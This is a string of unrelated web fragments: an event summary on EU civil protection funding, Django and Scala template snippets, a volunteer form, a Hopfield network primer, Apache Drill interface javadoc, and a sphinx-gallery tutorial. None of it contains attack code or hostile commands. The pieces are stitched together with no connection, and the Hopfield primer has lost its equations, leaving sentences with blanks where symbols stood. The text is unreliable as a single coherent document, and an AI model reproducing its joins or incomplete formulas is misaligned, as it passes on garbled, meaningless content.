- Raise awareness of the range of funding opportunities available through the EU Civil Protection Mechanism, and the requirements attached to funding.
- Improve understanding of the bidding process and funding deadlines.
- Improve understanding of the support that central government can offer to potential bidders.
- Provide advice on and an opportunity for networking with other potential UK bidders in order to identify opportunities for cooperation.
The Civil Protection Mechanism (CPM), a community of civil protection authorities, was explored by Maxwell Spence of the Civil Contingencies Secretariat who discussed the nature of the internationally coordinated response mechanism and the 28 EU member states who participate in the scheme. Opportunities of the CPM include training, exchange of experts, projects as well as exercises. During February and March 2016 the UK benefitted from CPM funding though Exercise Unified Response (EUR) which was held in London and became the commission’s largest civil protection exercise. The benefits of the exercise have had a positive impact in incidents and exercises since EUR and will drive aspects of the Local Resilience Forum business plan for years to come.
Dr Kathy Oldham talked of her experience of successful EU funding bids though both the UScore and UScore2 projects. With the aim of developing a city disaster resilience scorecard the UScore self-assessment tool assists cities to measure their resilience. The tool was designed to help cities to create action plans and strategies for strengthening resilience and through the project 5 cities piloted the scorecard, recommending improvements, becoming expert users and advise other cities on using the tool. Building on the learning of the original UScore project is UScore2 which aims to design a practical city-to-city peer review tool for measuring city resilience and resilience action planning as well as establish a peer review methodology for its application. Involving partners from across the EU the project is currently underway and is scheduled for completion in late 2018.
Delegates also heard from the Department of Communities and Local Government who highlighted the role of central government liaison in European funded projects as well as exploring the benefits of central government participation. As the session reached its close it was clear to see the many benefits on offer through applying for EU civil protection funding and the support that was available across the emergency planning network for potential bids.


 %}
{% trans "However, we want to make you one last invitation to keep your account. You can configure the mailing from your" %} {% trans "account settings page" %} {% trans "if you don't want ro receive emails from the platform." %}
{% trans "You are the owner of the following companies, and, for this reason, all the information related to them will be deleted too." %}


@* This is a comment in scala *@ @(name: String)
Welcome to the Sky Accessories Shop
Collect as Many Gnomes as possible to win more prizes.


Volunteer!
Have an account? Please
log in
. Need an account?
Register Here
* fields required
*Name:
*e-mail:
Phone/Cell:
"Tell us how you can help!"


Neural Dynamics: A Primer (Hopfield Networks)
How does higher-order behavior emerge from billions of neurons firing?
This post is a basic introduction to thinking about the brain in the context of dynamical systems. I have found this way of thinking to be far more useful than the phrenology-like paradigms that pop science articles tend to love, in which spatially modular areas of the brain encode for specific functions. I tried to keep this introduction as simple and clear as possible, and accessible to anyone without background in neuroscience or mathematics.
For a list of seminal papers in neural dynamics, go here.
1. Emergent Behavior from Simple Parts
Physical systems made out of a large number of simple elements give rise to collective phenomena. For example, flying starlings:
Each starling follows simple rules: coordinating with seven neighbors, staying near a fixed point, and moving at a fixed speed. The result is emergent complex behavior of the flock.
The brain is similar: Each neuron follows a simple set of rules, and collectively, the neurons yield complex higher-order behavior, from keeping track of time to singing a tune. Granted, real neurons are highly varied and do not all follow the same set of rules, but we often assume that our model neurons do in order to keep things simple.
Although many types of these models exist, I will use Hopfield networks from this seminal paper to demonstrate some general properties. Hopfield networks were originally used to model human associative memory, in which a network of simple units converges into a stable state, in a process that I will describe below.
2. The Units of the Model
Following the paradigm described above, each neuron of the network abides by a simple set of rules. Each neuron is similar to a perceptron, a binary single neuron model. (There are some minor differences between perceptrons and Hopfield’s units, which have nondirectionality, direct stimulus input, and time constants, but I’ll not go into detail here.)
The inputs for each neuron are signals from the incoming neurons , which are multipled by the strengths of their connections , also called weights.
Once the signals and weights are multiplied together, the values are summed. If the total sum is greater than or equal to the threshold , then the output value is , which means that the neuron fires. If the sum is less than the threshold, then the output is , which means that the neuron does not fire.
The rules above are modeled by the equation:
A Hopfield network consists of these neurons linked together without directionality. In hierarchical neural nets, the network has a directional flow of information (e.g. in Facebook’s facial recognition algorithm, the input is pixels and the output is the name of the person). However, in a Hopfield network, all of the units are linked to each other without an input and output layer. We consider the input to be the energy state of all the neurons before running the network, and the output to be the energy state after.
The strength of synaptic connectivity between neurons and follows the Hebbian learning rule, in which neurons that fire together wire together, and neurons that fire out of sync, fail to link:
and , the states of neurons and , are either (inactive) or (active). As we can see by the equation, if both neurons are , or if both neurons are , then . If one neuron is , and the other is , then .
3. State Space
An important concept in Hopfield networks, and in dynamical systems more broadly, is state space, sometimes called the energy landscape.
The total Hopfield network has the value associated with the total energy of the network, which is basically a sum of the activity of all the units. The network will tend towards lower energy states. We can think about this idea as represented by an energy landscape, seen below:
The y-axis represents the energy of the system , and the x-axis represents all the possible states that the system could be in. Out of all the possible energy states, the system will converge to a local minima, also called an attractor state, in which the energy of the total system is locally the lowest. Imagine a ball rolling around the hilly energy landscape, and getting caught in an attractor state.
While the above graph represents state space in one dimension, we can generalize the representation of state space to n dimensions.
4. Training and Running the Hopfield Network
Let’s walk through the Hopfield network in action, and how it could model human memory.
We initialize the network by setting the values of the neurons to a desired start pattern. The network runs according to the rules in the previous sections, with the value of each neuron changing depending on the values of its input neurons. Eventually, the network converges to an attractor state, the lowest energy value of the system.
Attractor states are “memories” that the network should “remember.” Before we initialize the network, we “train” it, a process by which we update the weights in order to set the memories as the attractor states. The network can therefore act as a content addressable (“associative”) memory system, which recovers memories based on similarity. If we train a four-neuron network so that state (-1, -1, -1, 1) is an attractor state, the network will converge to the attractor state given a starting state. For example, (-1, -1, -1, -1) will converge to (-1, -1, -1, 1).
So how do Hopfield networks relate to human memory?
Say you bite into a mint chocolate chip ice cream cone. That ice cream cone could be represented as a vector (-1, -1, -1, -1). Now say that for some reason, there is a deeply memorable mint chocolate chip ice cream cone from childhood– perhaps you were eating it with your parents and the memory has strong emotional saliency– represented by (-1, -1, -1, 1). As you bite into today’s ice cream cone, you find yourself thinking of the mint chocolate chip ice cream cone from years’ past. What happened? The starting point memory (-1, -1, -1, -1) converged to the system’s attractor state (-1, -1, -1, 1).
We can generalize this idea: some neuroscientists hypothesize that our perception of shades of color converges to an attractor state shade of that color. It’s also fun to think of Hopfield networks in the context of Proust’s famous madeleine passage, in which the narrator bites into a madeleine and is taken back to childhood. (His starting memory state of the madeleine converges to the attractor state of the childhood madeleine.)
As a caveat, as with most computational neuroscience models, we are operating on the 3rd level of Marr’s levels of analysis. In other words, we are not sure that the brain physically works like a Hopfield network. The brain could physically work like a Hopfield network, but the biological instantiation of memory is not the point; rather, we are seeking useful mathematical metaphors.
That concludes this basic primer on neural dynamics, in which we learned about emergence and state space. Other useful concepts include firing rate manifolds and oscillatory and chaotic behavior, which will be the content of a future post.
For a list of seminal papers in neural dynamics, go here.
I always appreciate feedback, so let me know what you think, either in the comments or through email.


public interface ConnectorLocator
Terminology is a bit tortured. Drill overuses the term "plugin." Here we adopt the following conventions:
Connectors can be storable in the persistent store. All "normal" connectors have storable configurations. System plugins, however have a fixed config that is not storable.
Connectors can define bootstrap or upgrade plugin sets. "Normal" plugins usually provide bootstrap configs, system plugins do not.
This class instantiates a connector given a configuration and a name. The plugin registry caches the instance for the duration of the Drillbit run, or until the config changes.
| Modifier and Type | Method and Description |
|---|---|
StoragePlugins |
bootstrapPlugins()
When starting a new installation, called to load bootstrap
plugins (configurations) that come "out-of-the-box."
|
void |
close() |
Set<Class<? extends StoragePluginConfig>> |
configClasses()
Return the set of known storage plugin configuration classes for which
the user can create configs.
|
Class<? extends StoragePlugin> |
connectorClassFor(Class<? extends StoragePluginConfig> configClass)
Given a configuration class, return the corresponding connector
(plugin) class.
|
StoragePlugin |
create(String name,
StoragePluginConfig pluginConfig)
Create a connector instance given a named configuration.
|
StoragePlugin |
get(String name)
Retrieve an instance of the named connector with default configuration.
|
void |
init()
Initialize the locator.
|
Collection<StoragePlugin> |
intrinsicPlugins()
Enumerate the intrinsic plugins.
|
void |
onUpgrade()
If
updatedPlugins() returned non-null, then the
registry will call this method after successful update of
the persistent store. |
boolean |
storable() |
StoragePlugins |
updatedPlugins()
Identify plugins to be added to an existing system, typically
on the first run after an upgrade.
|
void init()
StoragePlugins bootstrapPlugins() throws IOException
null
if this locator
does not provide bootstrap pluginsIOException
StoragePlugins updatedPlugins()
TODO: The current mechanism depends on deleting a file after the first run, which is unreliable. It won't, for example, correctly handle a restored ZK. A better mechanism would store a version number in the persistent store, and pass that version number into this method.
IOException
- for errorsvoid onUpgrade()
updatedPlugins()
returned non-null, then the
registry will call this method after successful update of
the persistent store. This method can do any post-update
cleanup, such as deleting the file mentioned above.Collection<StoragePlugin> intrinsicPlugins()
StoragePlugin get(String name)
name
- the name of a connector class (not the name of
a plugin (configuration)Set<Class<? extends StoragePluginConfig>> configClasses()
StoragePlugin create(String name, StoragePluginConfig pluginConfig) throws Exception
name
- name of the storage plugin (configuration).pluginConfig
- the deserialized Java configuration object.ExecutionSetupException
- for all errorsException
boolean storable()
Class<? extends StoragePlugin> connectorClassFor(Class<? extends StoragePluginConfig> configClass)
void close()
Copyright © 2021 The Apache Software Foundation. All rights reserved.


Note
Click here to download the full example code
A quick tour of pytma¶
We use the excellent sphinx-gallery to provide a visual tour of some of the features of pytma. sphinx-gallery renders html from regular python files. We find this to be much better than Jupyter for documentation of workflows and example code. We can keep better track of the evolution of the in git this way.
import numpy as np
import matplotlib.pyplot as plt
reStructuredText¶
The primary benefit of sphinx-gallery is that it allows you to interweave reStructuredText along with your regular python code. This means that you can include formatted text with the script, all using regular text files. rST has a particular structure it expects in order to render properly (it is what sphinx uses as well).
File headers and naming¶
Sphinx-gallery files must be initialized with a header like the one above. It must exist as a part of the triple-quotes docstring at the start of the file, and tells SG the title of the page. If you wish, you can include text that comes after the header, which will be rendered as a contextual bit of information.
In addition, if you want to render a file with sphinx-gallery, it must match the file naming structure that the gallery is configured to look for. By default, this is plot_*.py.
Interweaving code with text¶
Sphinx-gallery allows you to interweave code with your text. For example, if put a few lines of text below…
N = 1000
# They will be rendered as regular code. Note that now I am typing in a
# comment, because we've broken the chain of commented lines above.
x = np.random.randn(N)
# If we want to create another formatted block of text, we need to add a line
# of `#` spanning the whole line below. Like this:
Now we can once again have nicely formatted \(t_{e}\chi^t\)!
# Let's create our y-variable so we can make some plots
y = .2 * x + .4 * np.random.randn(N)
Plotting images¶
Sphinx-gallery captures the images generated by matplotlib. This means that we can plot things as normal, and these images will be grouped with the text block that the fall underneath. For example, we could plot these two variables and the image will be shown below:
fig, ax = plt.subplots()
ax.plot(x, y, 'o')
Multiple images¶
If we want multiple images, this is easy too. Sphinx-gallery will group everything together that’s within the latest text block.
fig, axs = plt.subplots(1, 2)
axs[0].hist(x, bins=20)
axs[1].hist(y, bins=20)
fig, ax = plt.subplots()
ax.hist2d(x, y, bins=20)
Other kinds of formatting¶
Remember, rST can do all kinds of other cool stuff. We can even do things like add references to other packages and insert images. Check out this guide for some sample rST code.
In the meantime, enjoy sphinx-gallery!
Total running time of the script: ( 0 minutes 0.250 seconds)


Signed in as: {{authService.auth.auth.currentUser?.displayName || authService.auth.auth.currentUser?.email}}